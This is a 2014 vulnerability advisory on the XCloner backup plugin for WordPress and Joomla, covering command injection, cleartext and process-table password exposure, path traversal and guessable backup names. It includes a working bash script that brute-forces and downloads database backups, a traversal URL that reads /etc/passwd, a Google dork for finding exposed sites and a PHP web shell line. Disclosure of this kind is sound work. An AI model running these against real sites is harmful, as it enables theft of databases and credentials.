Joomla/WordPress XCloner Command Execution / Password Disclosure

`Title: XCloner Wordpress/Joomla! backup Plugin v3.1.1 (Wordpress) v3.5.1 (Joomla!) Vulnerabilities  
Author: Larry W. Cashdollar, @_larry0  
Date: 10/17/2014  
Download: https://wordpress.org/plugins/xcloner-backup-and-restore/  
Download: http://extensions.joomla.org/extensions/access-a-security/site-security/backup/665  
Downloads: Wordpress 313,647 Joomla! 515745 StandAlone 69175  
Website: http://www.xcloner.com  
Advisory: http://www.vapid.dhs.org/advisories/wordpress/plugins/Xcloner-v3.1.1/  
Vendor: Notified 10/17/14 Ovidiu Liuta, @thinkovi Acknowledged & no other response.  
CVEID: Requested, TDB.  
OSVDBID:114176,114177,114178,114179,114180  
  
Description: “XCloner is a Backup and Restore component designed for PHP/Mysql websites, it can work as a native plugin for WordPress and Joomla!.”  
  
Vulnerabilities: There are multiple vulnerabilities I’ve discovered in this plugin, they are as follows.  
  
1. Arbitrary command execution.  
2. Clear text MySQL password exposure through html text box under configuration panel.  
3. Database backups exposed to local users due to open file permissions.  
4. Unauthenticated remote access to backup files via easily guessable file names.  
5. Authenticated remote file access.   
6. MySQL password exposed to process table.  
  
Arbitrary Command Execution  
  
Plugin allows arbitrary commands to be executed by an authenticated user. The user will require administrative access rights to backup the database. User input when specifying your own file name is not sanitized as well as various other input fields.  
  
PoC  
All input fields I believe are vulnerable, I’ve chosen the backup filename and a wget of sh.txt which is simply <?php passthru($_GET)?> into a writeable directory by www-data.  
  
Screenshots available at the advisory URL above.  
  
All user configurable variables are vulnerable, these variables need to be sanitized before being passed to the exec() function for execution.  
$_CONFIG[tarpath]  
$exclude  
$_CONFIG['tarcompress']  
$_CONFIG['filename']  
$_CONFIG['exfile_tar']  
$_CONFIG[sqldump]  
$_CONFIG['mysql_host']  
$_CONFIG['mysql_pass']  
$_CONFIG['mysql_user']  
$database_name  
$sqlfile  
$filename  
  
Vulnerable code   
  
./cloner.functions.php:  
  
1672 exec($_CONFIG[tarpath] . " $exclude -c" . $_CONFIG['tarcompress'] . "vf $filename ./administrator/backups/index.html");  
1673 exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/database-sql.sql");  
1674 exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/htaccess.txt");  
1675 exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/perm.txt");  
  
1695- if ($_REQUEST[cron_dbonly] != 1) {  
1696: exec($_CONFIG[tarpath] . " $excl_cmd " . " -X " . $_CONFIG['exfile_tar'] . " -chv" . $_CONFIG['tarcompress'] . "f $filename ./");  
1697- } else {  
1698-  
1699-  
1700: exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "cvf $filename ./administrator/backups/database-sql.sql");  
1701-  
1702- if (is_array($databases_incl)) {  
1703- foreach ($databases_incl as $database_name)  
1704- if ($database_name != "") {  
1705: exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/" . $database_name . "-sql.sql");  
1706- }  
1707- }  
1708- }  
--  
1873- {  
1874- //$sizeInBytes = filesize($path);  
1875- $sizeInBytes = sprintf("%u", filesize($path));  
1876: if ((!$sizeInBytes) and (function_exists("exec"))){  
1877- $command = "ls -l \"$path\" | cut -d \" \" -f 5";  
1878: $sizeInBytes = @exec($command);  
1879- }  
  
2010- if ($_CONFIG['sql_mem']) {  
2011: exec($_CONFIG[sqldump] . " -h " . $_CONFIG['mysql_host'] . " -u " . $_CONFIG['mysql_user'] . " -p" . $_CONFIG['mysql_pass'] . " " . $dbname . " > " . $sqlfile . " $drop --allow-k  
eywords " . $ex_dump);  
2012-  
2013- if (get_filesize($sqlfile) > 0)  
2014- $databaseResult = LM_DATABASE_BACKUP_COMPLETED . ' ( ' . getFileSizeText(get_filesize($sqlfile)) . ' )';  
2015- else  
2016- $databaseResult = LM_MSG_BACK_14;  
2017-  
2018: exec("chmod 777 $sqlfile");  
2019-  
2020- return $sqlfile;  
2021- }  
  
./classes/fileRecursion.php  
339- public static function getFileSize($file){  
340-  
341- $sizeInBytes = sprintf("%u", filesize($file));  
342: if ((!$sizeInBytes) and (function_exists("exec"))){  
343- $command = "ls -l \"$file\" | cut -d \" \" -f 5";  
344: $sizeInBytes = @exec($command);  
345- }  
346-  
347- return $sizeInBytes;  
./restore/XCloner.php  
290- }else{  
291- if($ext == '.tgz') $compress = 'z';  
292- else $compress = '';  
293: shell_exec("tar -x".$compress."pf $file -C $_CONFIG[output_path]");  
294- }  
295-}  
  
  
1077- if($_REQUEST['use_mysqldump'] == 1){  
1078: echo shell_exec($_REQUEST['mysqldump_path']." -u ".$_REQUEST[mysql_username]." -p".$_REQUEST[mysql_pass]." -h ".$_REQUEST[mysql_server]." ".$_REQUEST[mysql_db]." < ".$sqlfile);  
1079- return;  
1080- }  
  
  
  
  
Clear Text MySQL Database Password  
  
  
The plugin also returns the MySQL clear text password via html text box back to the user in the configuration panel. A password should never be repeated back to you in clear text. The plugin will happily send this over a clear text connection.  
  
Screenshots available at the advisory URL above.  
  
Remote Database Download & Local File Permissions  
  
  
The default recommend path for backup storage is /usr/share/wordpress/administrator/backups.  
An index.html file is created under this directory to prevent casual browsing however the file names are easily predictable. From the installation instructions:  
  
  
“XCloner is a tool that will help you manage your website backups, generate/restore/move so your website will be always secured! With XCloner you will be able to clone your site to any other location with just a few clicks. Don't forget to create the 'administrator/backups' directory in your Wordpress root and make it fully writeable.”  
  
  
The format of the filenames are: backup_year-month-day_month_24hour_minute_domainname-sql-OPTIONS.tar where  
OPTIONS could be either -sql-drop, -sql-nodrop or -nosql depending on options selected during time of backup.   
The domain name is set by the HTTP_HOST header from line 88 of cloner.config.php:  
  
  
88: $_CONFIG['mosConfig_live_site']=$_SERVER['HTTP_HOST'];  
  
  
root@larry:/usr/share/wordpress/administrator/backups# ls -l  
total 129432  
-rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:15 backup_2014-10-29_10-14_testsite-sql-nodrop.tar  
-rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:19 backup_2014-10-29_10-19_testsite-sql-nodrop.tar  
-rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:24 backup_2014-10-29_10-24_testsite-sql-nodrop.tar  
  
  
  
  
These file permissions also expose the contents of the databases to any local system users.  
  
  
File naming convention code is as follows:  
  
  
1327 $domainname = $_CONFIG['mosConfig_live_site'];  
1351 if ($_REQUEST['bname'] == "") {  
1352 if ($backupDatabase == 1) {  
1353 if ($_REQUEST['dbbackup_drop']) {  
1354 $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-sql-drop' . $f_ext;  
1355 } else {  
1356   
1357 $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-sql-nodrop' . $f_ext;  
1358 }  
1359 } else  
1360 $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-nosql' . $f_ext;  
1361 } else {  
  
Screenshots available at the advisory URL above.  
  
I’ve found a few vulnerable websites with the google dork:  
  
  
https://www.google.com/#q=inurl:+administrator%2Fbackups  
  
  
A PoC:  
  
  
lwc@wordpress:~$ bash exp.sh 192.168.0.26  
[+] Location http://192.168.0.26/administrator/backups/backup_2014-10-30_06-27_-sql-nodrop.tar Found  
[+] Received HTTP/1.1 200 OK  
Downloading......  
--2014-10-30 13:02:51-- http://192.168.0.26/administrator/backups/backup_2014-10-30_06-27_-sql-nodrop.tar  
Connecting to 192.168.0.26:80... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 44400640 (42M) [application/x-tar]  
Saving to: `backup_2014-10-30_06-27_-sql-nodrop.tar.1'  
  
  
100%[========================================>] 44,400,640 56.9M/s in 0.7s   
  
  
2014-10-30 13:02:52 (56.9 MB/s) - `backup_2014-10-30_06-27_-sql-nodrop.tar.1' saved [44400640/44400640]  
  
  
[+] Location http://192.168.0.26/administrator/backups/backup_2014-10-30_06-33_-sql-nodrop.tar Found  
[+] Received HTTP/1.1 200 OK  
Downloading......  
--2014-10-30 13:02:52-- http://192.168.0.26/administrator/backups/backup_2014-10-30_06-33_-sql-nodrop.tar  
Connecting to 192.168.0.26:80... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 44400640 (42M) [application/x-tar]  
Saving to: `backup_2014-10-30_06-33_-sql-nodrop.tar.1'  
  
  
100%[========================================>] 44,400,640 64.1M/s in 0.7s   
  
  
2014-10-30 13:02:53 (64.1 MB/s) - `backup_2014-10-30_06-33_-sql-nodrop.tar.1' saved [44400640/44400640]  
  
  
#!/bin/bash  
#Exploit to download XCloner v3.1.1 Database backups OSVDB: 114177  
#Larry W. Cashdollar, @_larry0  
#XCloner recommends a backup storage path under the WP root directory  
#it uses a 0 size index.html file to block indexing.  
#we can try to brute force the filenames it creates.  
  
  
MONTH=10  
DAY=30  
#May need to set the DOMAIN to $1 the target depending on how WP is configured.  
DOMAIN=  
  
  
for y in `seq -w 1 24`; do  
for x in `seq -w 1 59`; do   
CPATH="http://$1/administrator/backups/backup_2014-"$MONTH"-"$DAY"_"$y"-"$x"_$DOMAIN-sql-nodrop.tar";  
RESULT=`curl -s --head $CPATH|grep 200`;  
if [ -n "$RESULT" ]; then  
echo "[+] Location $CPATH Found";  
echo "[+] Received $RESULT";  
echo "Downloading......";  
wget $CPATH  
fi;  
done  
done  
  
  
  
  
Remote File Access  
  
  
The user has to have administrative rights, but the backup downloader doesn’t check the path  
for ../.  
  
  
http://192.168.0.33/wp-admin/admin-ajax.php?action=json_return&page=xcloner_show&option=com_cloner&task=download&file=../../../../etc/passwd  
  
  
Will download /etc/passwd off the remote system.  
  
  
MySQL Database Password Exposed to Process Table  
  
  
Local users can steal the MySQL password by watching the process table:  
  
  
lwc@wordpress:/etc/wordpress$ while (true); do ps -ef |grep [m]ysqldump; done  
www-data 16691 8889 0 09:27 ? 00:00:00 sh -c mysqldump --quote-names -h localhost -u root -pPASSWORDHERE wordpress > /usr/share/wordpress/administrator/backups/database-sql.sql --allow-keywords   
www-data 16692 16691 0 09:27 ? 00:00:00 mysqldump --quote-names -h localhost -u root -px xxxxxx wordpress --allow-keywords  
www-data 16691 8889 0 09:27 ? 00:00:00 sh -c mysqldump --quote-names -h localhost -u root -ps3cur1ty wordpress > /usr/share/wordpress/administrator/backups/database-sql.sql --allow-keywords   
www-data 16692 16691 0 09:27 ? 00:00:00 mysqldump --quote-names -h localhost -u root -px xxxxxx wordpress --allow-keywords  
^C  
  
  
`